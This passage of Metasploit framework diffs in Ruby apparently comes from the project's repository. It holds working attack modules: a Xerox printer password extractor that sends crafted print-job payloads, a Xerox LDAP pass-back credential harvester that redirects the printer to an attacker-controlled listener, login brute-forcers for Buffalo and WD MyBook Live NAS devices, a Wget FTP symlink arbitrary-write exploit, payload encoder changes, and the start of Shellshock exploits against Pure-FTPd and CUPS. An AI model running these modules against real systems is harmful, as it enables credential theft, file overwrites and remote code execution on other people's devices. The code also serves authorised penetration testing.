create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "\x0a"
create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0a"
create_print_job << '%%XRXend' + "\x0a\x1f\x8b"
create_print_job << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06"
create_print_job << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05"
create_print_job << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9"
create_print_job << "\x9d\x82\x22\xc0\xff\x0d\x24\x41\x72\x20\x57\x1f\xc3\x5a\xc9\x50"
create_print_job << "\xdc\x91\xca\xda\xb6\xf9\xcc\xba\x6d\xd4\xcf\xfc\xa5\x56\xaa\xd0"
create_print_job << "\x75\x6e\x35\xcf\xba\xd9\xe7\xbe\xd6\x07\xb5\x2f\x48\xdd\xf3\xa8"
create_print_job << "\x6f\x8b\x24\x13\x89\x8a\xd9\x47\xbb\xfe\xb2\xf7\xd7\xfc\x41\x3d"
create_print_job << "\x6d\xf9\x3c\x4e\x7c\x36\x32\x6c\xac\x49\xc4\xef\x26\x72\x98\x13"
create_print_job << "\x4f\x96\x6d\x98\xba\xb1\x67\xf1\x76\x89\x63\xba\x56\xb6\xeb\xe9"
create_print_job << "\xd6\x47\x3f\x53\x29\x57\x79\x75\x6f\xe3\x74\x32\x22\x97\x10\x1d"
create_print_job << "\xbd\x94\x74\xb3\x4b\xa2\x9d\x2b\x73\xb9\xeb\x6a\x3a\x1e\x89\x17"
create_print_job << "\x89\x2c\x83\x89\x9e\x87\x94\x66\x97\xa3\x0b\x56\xf8\x14\x8d\x77"
create_print_job << "\xa6\x4a\x6b\xda\xfc\xf7\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00"
create_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xea\x03\x34\x66\x0b\xc1"
create_print_job << "\x00\x28\x00\x00"
begin
connect(true, 'RPORT' => jport)
sock.put(create_print_job)
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
print_error("#{rhost}:#{jport} - Error connecting to #{rhost}")
ensure
disconnect
end
end
def retrieve
print_status("#{rhost}:#{jport} - Retrieving password from #{rhost}")
request = "GET /Praeda.txt HTTP/1.0\r\n\r\n"
begin
connect
sock.put(request)
res = sock.get_once || ''
passwd = res.match(/\r\n\s(.+?)\n/)
return passwd ? passwd[1] : ''
rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse, EOFError
print_error("#{rhost}:#{jport} - Error getting password from #{rhost}")
return
ensure
disconnect
end
end
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
def remove
print_status("#{rhost}:#{jport} - Removing print job")
remove_print_job = '%%XRXbegin' + "\x0A"
remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0A"
remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "\x0A"
remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
remove_print_job << '%%XRXend' + "\x0a\x1f\x8b"
remove_print_job << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0"
remove_print_job << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04"
remove_print_job << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92"
remove_print_job << "\x43\x72\x48\x20\xa9\xf1\x43\xda\x87\x56\x7d\x90\x9e\x95\xa5\x5d"
remove_print_job << "\xaa\x29\xad\x7e\xae\x2b\x93\x1b\x35\x47\x69\xed\x21\x2f\x0a\xa3"
remove_print_job << "\xb4\x31\x47\x6d\x55\xa6\x3f\xb9\xd4\xc3\x14\xa2\xf3\x59\xa6\xc6"
remove_print_job << "\xc6\x57\xe9\xc5\xdc\xbb\xfe\x8f\xda\x6d\xe5\x7c\xe9\xe5\xec\x42"
remove_print_job << "\xbb\xf1\x5d\x26\x53\xf0\x12\x5a\xe7\x1b\x69\x63\x1c\xeb\x39\xd7"
remove_print_job << "\x43\x15\xe4\xe4\x5d\x53\xbb\x7d\x4c\x71\x9d\x1a\xc6\x28\x7d\x25"
remove_print_job << "\xf5\xb5\x0b\x92\x96\x0f\xba\xe7\xf9\x8f\x36\xdf\x3e\x08\x00\x00"
remove_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xc4\x0d\x40\x0a"
remove_print_job << "\x75\xe1\x00\x28\x00\x00"
begin
connect(true, 'RPORT' => jport)
sock.put(remove_print_job)
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
print_error("#{rhost}:#{jport} - Error removing print job from #{rhost}")
ensure
disconnect
end
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace.id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -0,0 +1,305 @@
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',
'Description' => %q{
This module extract the printer's LDAP username and password from Xerox Workcentre 5735.
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])
], self.class)
end
def run
print_status("#{peer} - Attempting to extract LDAP username and password...")
@auth_cookie = default_page
if @auth_cookie.blank?
print_status("#{peer} - Unable to get authentication cookie from #{rhost}")
return
end
status = login
return unless status
status = ldap_server_info
return unless status
status = update_ldap_server
return unless status
start_listener
unless @data
print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(")
status = restore_ldap_server
unless status
print_error("#{peer} - Failed to restore old LDAP server. Please manually restore")
end
return
end
status = restore_ldap_server
return unless status
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
# Woot we got creds so lets save them.#
print_good("#{peer} - The following creds were capured: #{ldap_creds}")
loot_name = 'ldap.cp.creds'
loot_type = 'text/plain'
loot_filename = 'ldap-creds.text'
loot_desc = 'LDAP Pass-back Harvester'
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
print_status("#{peer} - Credentials saved in: #{p}")
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
end
def default_page
page = '/header.php?tab=status'
method = 'GET'
res = make_request(page, method, '')
if res.blank? || res.code != 200
print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.")
return ''
end
res.get_cookies
end
def login
login_page = '/userpost/xerox.set'
login_vars = {
'_fun_function' => 'HTTP_Authenticate_fn',
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',
'webUsername' => 'admin',
'webPassword' => datastore['PASSWORD'],
'frmaltDomain' => 'default'
}
login_post_data = []
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }
login_post_data *= '&'
method = 'POST'
res = make_request(login_page, method, login_post_data)
if res.blank? || res.code != 200
print_error("#{peer} - Failed to login. Please check the password for the Administrator account")
return nil
end
res.code
end
def ldap_server_info
ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig'
method = 'GET'
res = make_request(ldap_info_page, method, '')
html_body = ::Nokogiri::HTML(res.body)
ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text
ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten
ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
@ldap_port = ldap_port_number[0]
print_status("#{peer} - LDAP server: #{@ldap_server}")
unless res.code == 200 || res.blank?
print_error("#{peer} - Failed to get LDAP data.")
return nil
end
res.code
end
def update_ldap_server
ldap_update_page = '/dummypost/xerox.set'
ldap_update_vars = {
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
'NextPage' => '/ldap/index.php?ldapindex=default',
'from' =>'ldapConfig',
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",
'ldap.maxSearchResults' => '25',
'ldap.searchTime' => '30',
}
ldap_update_post = []
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }
ldap_update_post *= '&'
method = 'POST'
print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
res = make_request(ldap_update_page, method, ldap_update_post)
if res.blank? || res.code != 200
print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}")
return nil
end
res.code
end
def trigger_ldap_request
ldap_trigger_page = '/userpost/xerox.set'
ldap_trigger_vars = {
'nameSchema'=>'givenName',
'emailSchema'=>'mail',
'phoneSchema'=>'telephoneNumber',
'postalSchema'=>'postalAddress',
'mailstopSchema'=>'l',
'citySchema'=>'physicalDeliveryOfficeName',
'stateSchema'=>'st',
'zipCodeSchema'=>'postalcode',
'countrySchema'=>'co',
'faxSchema'=>'facsimileTelephoneNumber',
'homeSchema'=>'homeDirectory',
'memberSchema'=>'memberOf',
'uidSchema'=>'uid',
'ldapSearchName'=>'test',
'ldapServerIndex'=>'default',
'_fun_function'=>'HTTP_LDAP_Search_fn',
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
}
ldap_trigger_post = []
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }
ldap_trigger_post *= '&'
method = 'POST'
print_status("#{peer} - Triggering LDAP reqeust")
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
res.code
end
def start_listener
server_timeout = datastore['TCPDELAY'].to_i
begin
print_status('Service running. Waiting for connection')
Timeout.timeout(server_timeout) do
exploit
end
rescue Timeout::Error
return
end
end
def primer
trigger_ldap_request
end
def on_client_connect(client)
on_client_data(client)
end
def on_client_data(client)
@data = client.get_once
client.stop
end
def restore_ldap_server
ldap_restore_page = '/dummypost/xerox.set'
ldap_restore_vars = {
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
'NextPage' => '/ldap/index.php?ldapaction=add',
'ldapindex' => 'default&from=ldapConfig',
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",
'ldap.maxSearchResults' => '25',
'ldap.searchTime' => '30',
'ldap.search.uid' => 'uid',
'ldap.search.name' => 'givenName',
'ldap.search.email' => 'mail',
'ldap.search.phone' => 'telephoneNumber',
'ldap.search.postal' => 'postalAddress',
'ldap.search.mailstop' => 'l',
'ldap.search.city' => 'physicalDeliveryOfficeName',
'ldap.search.state' => 'st',
'ldap.search.zipcode' => 'postalcode',
'ldap.search.country' => 'co',
'ldap.search.ifax' => 'No Mappings Available',
'ldap.search.faxNum' => 'facsimileTelephoneNumber',
'ldap.search.home' => 'homeDirectory',
'ldap.search.membership' => 'memberOf'
}
ldap_restore_post = []
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }
ldap_restore_post *= '&'
method = 'POST'
print_status("#{peer} - Restoring LDAP server: #{@ldap_server}")
res = make_request(ldap_restore_page, method, ldap_restore_post)
if res.blank? || res.code != 200
print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
return nil
end
res.code
end
def make_request(page, method, post_data)
res = nil
begin
res = send_request_cgi(
{
'uri' => page,
'method' => method,
'cookie' => @auth_cookie,
'data' => post_data
}, datastore['TIMEOUT'].to_i)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{peer} - Connection failed.")
end
res
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace.id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/buffalo'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Buffalo NAS Login Utility',
'Description' => %q{
This module simply attempts to login to a Buffalo NAS instance using a specific
username and password. It has been confirmed to work on version 1.68
},
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80)
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::Buffalo.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
end
end
end
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/mybook_live'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Western Digital MyBook Live Login Utility',
'Description' => 'This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass.',
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80)
], self.class)
register_autofilter_ports([ 80 ])
# username is hardcoded into application
deregister_options('RHOST', 'USERNAME', 'USER_FILE', 'USER_AS_PASS', 'DB_ALL_USERS')
end
def setup
super
# They must select at least blank passwords, provide a pass file or a password
one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD)
unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] }
fail_with(Failure::BadConfig, "Invalid options: One of #{one_required.join(', ')} must be set")
end
if !datastore['PASS_FILE']
if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, "PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS")
end
end
end
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
username: 'admin'
)
scanner = Metasploit::Framework::LoginScanner::MyBookLive.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST']
)
if ssl
scanner.ssl = datastore['SSL']
scanner.ssl_version = datastore['SSLVERSION']
end
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
end
end
end
end

View File

@ -0,0 +1,163 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
'Description' => %q{
This module exploits a vulnerability in Wget when used in
recursive (-r) mode with a FTP server as a destination. A
symlink is used to allow arbitrary writes to the target's
filesystem. To specify content for the file, use the
"file:/path" syntax for the TARGET_DATA option.
Tested successfully with wget 1.14. Versions prior to 1.16
are presumed vulnerable.
},
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'Actions' => [['Service']],
'PassiveActions' => ['Service'],
'References' =>
[
[ 'CVE', '2014-4877'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
],
'DefaultAction' => 'Service',
'DisclosureDate' => 'Oct 27 2014'
)
register_options(
[
OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]),
OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]),
OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
], self.class)
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
end
def run
my_address = Rex::Socket.source_address
print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
exploit()
end
def on_client_command_user(c,arg)
@state[c][:user] = arg
c.put "331 User name okay, need password...\r\n"
end
def on_client_command_pass(c,arg)
@state[c][:pass] = arg
c.put "230 Login OK\r\n"
@state[c][:auth] = true
print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")
end
def on_client_command_retr(c,arg)
print_status("#{@state[c][:name]} -> RETR #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
unless arg.index(::File.basename(datastore['TARGET_FILE']))
c.put "550 File does not exist\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
conn.put(datastore['TARGET_DATA'])
c.put("226 Transfer complete.\r\n")
conn.close
print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
end
def on_client_command_list(c,arg)
print_status("#{@state[c][:name]} -> LIST #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
pwd = @state[c][:cwd]
buf = ''
dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y")
unless pwd.index(@fakedir)
buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n"
else
buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
end
c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
conn.put("total #{buf.length}\r\n" + buf)
c.put("226 Transfer complete.\r\n")
conn.close
end
def on_client_command_size(c,arg)
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
end
def on_client_command_cwd(c,arg)
print_status("#{@state[c][:name]} -> CWD #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
upath = "/"
npath = ::File.join(@state[c][:cwd], arg)
bpath = npath[upath.length, npath.length - upath.length]
# Check for traversal above the root directory
if not (npath[0, upath.length] == upath or bpath == '')
bpath = '/'
end
bpath = '/' if bpath == ''
@state[c][:cwd] = bpath
c.put "250 CWD command successful.\r\n"
end
end

View File

@ -28,6 +28,12 @@ class Metasploit3 < Msf::Encoder::Xor
# the buffer being encoded
#
def decoder_stub(state)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
decoder =
Rex::Arch::X86.sub(-(((state.buf.length - 1) / 4) + 1), Rex::Arch::X86::ECX,
state.badchars) +
@ -44,4 +50,19 @@ class Metasploit3 < Msf::Encoder::Xor
return decoder
end
# Indicate that this module can preserve some registers
def preserves_registers?
true
end
# A list of registers always touched by this encoder
def modified_registers
[ Rex::Arch::X86::ECX, Rex::Arch::X86::EAX, Rex::Arch::X86::ESI ]
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end

View File

@ -30,16 +30,22 @@ class Metasploit3 < Msf::Encoder::Xor
# being encoded.
#
def decoder_stub(state)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
decoder =
Rex::Arch::X86.set(
Rex::Arch::X86::ECX,
state.buf.length - 1,
state.badchars) +
"\xe8\xff\xff\xff" + # call $+4
"\xff\xc1" + # inc ecx
"\x5e" + # pop esi
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
"\xe2\xfa" # loop xor_loop
"\xe8\xff\xff\xff" + # call $+4
"\xff\xc1" + # inc ecx
"\x5e" + # pop esi
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
"\xe2\xfa" # loop xor_loop
# Initialize the state context to 1
state.context = 1
@ -57,4 +63,18 @@ class Metasploit3 < Msf::Encoder::Xor
[ block.unpack('C')[0] ^ (state.context - 1) ].pack('C')
end
# Indicate that this module can preserve some registers
def preserves_registers?
true
end
# A list of registers always touched by this encoder
def modified_registers
[ Rex::Arch::X86::ECX, Rex::Arch::X86::ESI ]
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end

View File

@ -31,6 +31,12 @@ class Metasploit3 < Msf::Encoder::Xor
# being encoded.
#
def decoder_stub(state)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
decoder =
Rex::Arch::X86.set(
Rex::Arch::X86::ECX,
@ -48,4 +54,18 @@ class Metasploit3 < Msf::Encoder::Xor
return decoder
end
# Indicate that this module can preserve some registers
def preserves_registers?
true
end
# A list of registers always touched by this encoder
def modified_registers
[ Rex::Arch::X86::EBX, Rex::Arch::X86::ECX ]
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end

View File

@ -37,9 +37,16 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
# Generates the shikata decoder stub.
#
def decoder_stub(state)
# If the decoder stub has not already been generated for this state, do
# it now. The decoder stub method may be called more than once.
if (state.decoder_stub == nil)
# Sanity check that saved_registers doesn't overlap with modified_registers
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
# Shikata will only cut off the last 1-4 bytes of it's own end
# depending on the alignment of the original buffer
cutoff = 4 - (state.buf.length & 3)
@ -61,6 +68,27 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
state.decoder_stub
end
# Indicate that this module can preserve some registers
def preserves_registers?
true
end
# A list of registers always touched by this encoder
def modified_registers
# ESP is assumed and is handled through preserves_stack?
[
# The counter register is hardcoded
Rex::Arch::X86::ECX,
# These are modified by div and mul operations
Rex::Arch::X86::EAX, Rex::Arch::X86::EDX
]
end
# Always blacklist these registers in our block generation
def block_generator_register_blacklist
[Rex::Arch::X86::ESP, Rex::Arch::X86::ECX] | saved_registers
end
protected
#
@ -251,15 +279,18 @@ protected
loop_inst.depends_on(loop_block)
begin
# Generate a permutation saving the ECX and ESP registers
loop_inst.generate([
Rex::Arch::X86::ESP,
Rex::Arch::X86::ECX ], nil, state.badchars)
# Generate a permutation saving the ECX, ESP, and user defined registers
loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
rescue RuntimeError => e
raise EncodingError
end
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
def sub_immediate(regnum, imm)
return "" if imm.nil? or imm == 0
if imm > 255 or imm < -255

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Project
#
require 'msf/core/exploit/local/linux'
class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking

View File

@ -15,10 +15,13 @@ class Metasploit4 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
'Description' => %q(
This module exploits the code injection flaw known as shellshock which
leverages specially crafted environment variables in Bash. This exploit
specifically targets Pure-FTPd when configured to use an external
program for authentication.
This module exploits the code injection flaw known as Shellshock, which leverages specially
crafted environment variables in Bash.
Please note that this exploit specifically targets Pure-FTPd compiled with the --with-extauth
flag, and an external Bash program for authentication. If the server is not set up this way,
understand that even if the operating system is vulnerable to Shellshock, it cannot be
exploited via Pure-FTPd.
),
'Author' =>
[
@ -31,7 +34,8 @@ class Metasploit4 < Msf::Exploit::Remote
['CVE', '2014-6271'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'],
['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules']
],
'Payload' =>
{

View File

@ -0,0 +1,273 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits Shellshock, a post-authentication code injection vulnerability
in specially crafted environment variables in Bash. It specifically targets
CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'lcamtuf', # CVE-2014-6278
'Brendan Coles <bcoles[at]gmail.com>' # msf
],
'References' => [
['CVE', '2014-6271'],
['CVE', '2014-6278'],
['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0A\x0D",
'DisableNops' => true
},
